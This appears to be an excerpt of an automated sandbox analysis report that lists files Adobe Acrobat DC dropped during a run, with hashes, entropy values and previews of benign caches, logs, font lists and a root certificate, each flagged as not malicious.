Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4812
Entropy (8bit):	5.2607929979267825
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo73c/c0YBjH:etJCV4FiN/jTN/2r8Mta02fEhgO73gov
MD5:	9E3947FA773E7A3D28AC26D823AC3597
SHA1:	BAC1FC7A5EAA23612FAF7DD13F2EA1544BBF1E3B
SHA-256:	01D2E2DCCF62A7EDD280D48C64749356D14D80F55CBDAE7581563F96D0F637D6
SHA-512:	D294A46BE16786E191B2C32F36FE2AAF4C6341518DB7157647650D33849925D2E5A81B4403EA0E1BA8F58F2A07A1F34386AF4B53347F119AF14D2D10BFFB1E49
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.151007476450527
Encrypted:	false
SSDEEP:	6:jOQeIq2Pwkn2nKuAl9OmbzNMxIFUt8WOKJZmw+WEGkwOwkn2nKuAl9OmbzNMFLJ:jNXvYfHAa8jFUt8WT/+WEG5JfHAa84J
MD5:	B9BF243A6C1458C4C0DDF30471ED1AC9
SHA1:	0734065638611C7E6E21115B17E9C7313F008926
SHA-256:	7EC7FD71BAC83B6EF1373FD4AFB7E3D7660E5468CB1F82A770E0AAD2DB08CDA9
SHA-512:	97C177F28AEAA1E058CB23557244FC60A4A3E0119B0124DE10247E8398AFD870DD732A7DE1126EB9459E78E7143A60CDD077F21695622A5DD8722646C3BB6250
Malicious:	false
Preview:	2024/12/09-01:04:44.295 6c4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/09-01:04:44.296 6c4 Recovering log #3.2024/12/09-01:04:44.300 6c4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.151007476450527
Encrypted:	false
SSDEEP:	6:jOQeIq2Pwkn2nKuAl9OmbzNMxIFUt8WOKJZmw+WEGkwOwkn2nKuAl9OmbzNMFLJ:jNXvYfHAa8jFUt8WT/+WEG5JfHAa84J
MD5:	B9BF243A6C1458C4C0DDF30471ED1AC9
SHA1:	0734065638611C7E6E21115B17E9C7313F008926
SHA-256:	7EC7FD71BAC83B6EF1373FD4AFB7E3D7660E5468CB1F82A770E0AAD2DB08CDA9
SHA-512:	97C177F28AEAA1E058CB23557244FC60A4A3E0119B0124DE10247E8398AFD870DD732A7DE1126EB9459E78E7143A60CDD077F21695622A5DD8722646C3BB6250
Malicious:	false
Preview:	2024/12/09-01:04:44.295 6c4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/09-01:04:44.296 6c4 Recovering log #3.2024/12/09-01:04:44.300 6c4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444630649917991
Encrypted:	false
SSDEEP:	384:yezci5t7iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r4s3OazzU89UTTgUL
MD5:	D29FC24683F57AEE770CCC10BBE10145
SHA1:	FD39A81AEAF28A09C451AC4B5DAA737961E91208
SHA-256:	3CF860E12D12737619F91078019729DBE643094EFC1C76C287637B72D7FDEE23
SHA-512:	5C50ACDC4AB8FCB20D322E987048FDC66DE90CD62EDDDE804B31F3CEA12A41D9DDDC3E741EB825417049DAF76B03E5B7B3396206A61DFC62D3B237B0EBC1BC02
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.770470275674103
Encrypted:	false
SSDEEP:	48:7MRsUpA2ioyVTioyloWoy1Cwoy1PKOioy1noy1AYoy1Wioy11ioyeioyBoy1noyW:78sUpfuTR2X2jicb9IVXEBodRBkp
MD5:	4BBD2CB0C97061FDC4AF0E5D8547744F
SHA1:	AE0A149F226CF332DC0D6968BA7D09D7B2C1B008
SHA-256:	5AC1C3F4B933A564ABE687CDD0883083AE75CA292D47D4AA3E2154470A54BE34
SHA-512:	91B204B0FCBAF1D4FE0C66BFC3C68AF6AB3808293023AE93D8CE7F7B4BC9CA469D15A0D2073BC287F462558B289631D94AC57AC44310FEB9C0A52302375F9F3C
Malicious:	false
Preview:	.... .c......5L................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7130774337030337
Encrypted:	false
SSDEEP:	3:kkFkl5Vwlv+stfllXlE/HT8ku77l1NNX8RolJuRdxLlGB9lQRYwpDdt:kKDlLeT8/l7NMa8RdWBwRd
MD5:	4A6053066C7A84833BB925BCF001D2EC
SHA1:	3678320A5C9A09780B73446523B59BC42363B421
SHA-256:	0D13E7ABE62371CC91A3DA757A89AA7744A913F615AB51E69076D79146480750
SHA-512:	10A8F610DA4B8157A150BAC77728A52E9013385E14609781D3060749817DF55090509C92AAEB2C326ED9C87016F0E924590245CBFBDD0627D9DC327F2240589C
Malicious:	false
Preview:	p...... ........J..M.J..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6244

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6244

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	5.0470967544303305
Encrypted:	false
SSDEEP:	48:Y62sSbMSlMtCM5mMOpiMAW0MretMSMmkaMY:4tYtt55V6AWLre6JmkhY
MD5:	C01BB431919B73D0FCE5A4504275F362
SHA1:	756C37C8CE49A33BF70B5EAFDF0BA1E348FC87D9
SHA-256:	8B6B36A674CEF60FB0EC1C3A0FC580DA44AA9949F8D376BF6013FCECE82E60EA
SHA-512:	BFC69A412273E5B05DD240EECD4C478B5409A6054C6C8C34A46E71A82F2F18BEDCE771C272DD3896A28C10081D4B39EDE3510629D041F8EE173E4779619B190C
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1733724281000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"23c88c8acf166d9fda5ae4d83df3db72","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696420889000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d5fa85f4cf271b5fa75367efd1b392fa","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696420884000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c3af48ba3dee086edbbf20dff46c7ee0","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1255,"ts":1696333862000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7101e009d8bf8920d0a3dd3f5dc75ebc","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696333862000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"8558394a527c224775253e57d0e3596a","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":1230,"ts":1696333862000},{"id":"DC_Reader_RHP_Banner","info":{"dg":

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.187441781567585
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU5nSvR9H9vxFGiDIAEkGVvpFH:lNVmswUUUUUUUU5n+FGSIt5H
MD5:	5E4D192D65909E747EF421EECF485240
SHA1:	804B55FFB3E10948A484D3E0E19C53D9B5CF9079
SHA-256:	31DBA3FB532827B6D37AB6C23D62FAB2307F40347CB31FD5D06F579D3849D375
SHA-512:	D584D8AF944B723FB55B9545AE6D8F991752CBF2BB7BFAFE495AD5C555B178907087093C73C098B70D5F1B7C5F242D2411D1CBD922BF4661FB083DC1CFDE3DC6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6074402971898196
Encrypted:	false
SSDEEP:	48:7McKUUUUUUUUUU57vR9H9vxFGiDIAEkGVvEfqFl2GL7msB:74UUUUUUUUUU5LFGSItSfKVmsB
MD5:	8B0C23872C81F71BB58538AA44A7D06A
SHA1:	D44A036A5816A3FB82D595540484B112C84F5B83
SHA-256:	1F9D183D853AE6ECFC74EF1DEAB32628F5DE3D8891A51403671F6F35F711E3A7
SHA-512:	CB806951E97F24E3EF4DBBD5F006F86AF76D74E7138408151775F50E2A809AAFB1EB75251957CDD6A24ED9C8F711A9C9259020FAE6CB7B7AFCC7B294A7817559
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgablQ9WY0oQhFZ7EdOKnYBenlvYyu:6a6TZ44ADEabO9WYohFZzelvK
MD5:	BAE2A73B3683EEAA3FCAAA9915A73C2E
SHA1:	68327FE03B11F9FE7F217308B3531F03074F2367
SHA-256:	6CDDFBAAA66947E798D6FFEF3B5BFD050FE6F9DE7C6ABEA74B87EA905AD71F75
SHA-512:	B33647324966FD41B75AE89FFE918EE76605C93B251E347E8CF9CC22BA2D1EAF49BF96629C871528069F66EE7C40E33D31203290E748ABEB94D1BE20C63AA79C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSIc9751.LOG

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5193370621730837
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88hlAiwlN1rCH:Qw946cPbiOxDlbYnuRKrYf1U
MD5:	13B87891961A07A9CD5AEDD6069D3728
SHA1:	81FDDEF7F5BE87DEAAD29500C6DE28D81658C6B2
SHA-256:	34A1D9C7DD52EDECC90991688A56BCBD376C51E87C6CAB14AE9ACADC6AD127FC
SHA-512:	689D72EAA2EEB1A1AB3CCD0FF0797549FA6B43F547EBBC153DDB2794359AF66353A5E315D740102163C270149A3EE66546DAD137D09F538C21B846449CBFC754
Malicious:	false
